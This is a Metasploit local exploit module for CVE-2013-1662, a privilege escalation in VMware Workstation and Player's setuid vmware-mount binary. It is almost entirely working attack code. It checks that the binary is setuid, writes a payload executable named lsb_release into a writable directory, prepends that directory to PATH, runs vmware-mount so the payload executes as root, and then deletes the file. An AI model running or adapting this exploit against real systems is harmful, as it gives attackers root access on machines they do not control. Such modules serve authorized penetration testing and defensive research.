##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class MetasploitModule < Msf::Exploit::Local

  include Msf::Exploit::EXE
  include Msf::Post::File

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'VMWare Setuid vmware-mount Unsafe popen(3)',
        'Description'   => %q{
          VMWare Workstation (up to and including 9.0.2 build-1031769)
          and Player have a setuid executable called vmware-mount that
          invokes lsb_release in the PATH with popen(3). Since PATH is
          user-controlled, and the default system shell on
          Debian-derived distributions does not drop privs, we can put
          an arbitrary payload in an executable called lsb_release and
          have vmware-mount happily execute it as root for us.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            'Tavis Ormandy', # Vulnerability discovery and PoC
            'egypt' # Metasploit module
          ],
        'Platform'      => [ 'linux' ],
        'Arch'          => ARCH_X86,
        'Targets'       =>
          [
            [ 'Automatic', { } ],
          ],
        'DefaultOptions' => {
          "PrependSetresuid" => true,
          "PrependSetresgid" => true,
          "PrependFork" => true,
        },
        'Privileged'     => true,
        'DefaultTarget' => 0,
        'References' => [
          [ 'CVE', '2013-1662' ],
          [ 'OSVDB', '96588' ],
          [ 'BID', '61966'],
          [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
          [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/05/cve-2013-1662-vmware-mount-exploit' ]
        ],
        'DisclosureDate' => "Aug 22 2013"
      }
      ))
    register_options([
        OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
      ], self.class)
  end

  def check
    if setuid?("/usr/bin/vmware-mount")
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
    end

    lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
    write_file(lsb_path, generate_payload_exe)
    cmd_exec("chmod +x #{lsb_path}")
    cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
    # Delete it here instead of using FileDropper because the original
    # session can clean it up
    cmd_exec("rm -f #{lsb_path}")

  end

  def setuid?(remote_file)
    !!(cmd_exec("test -u #{remote_file.strip} && echo true").index "true")
  end

end

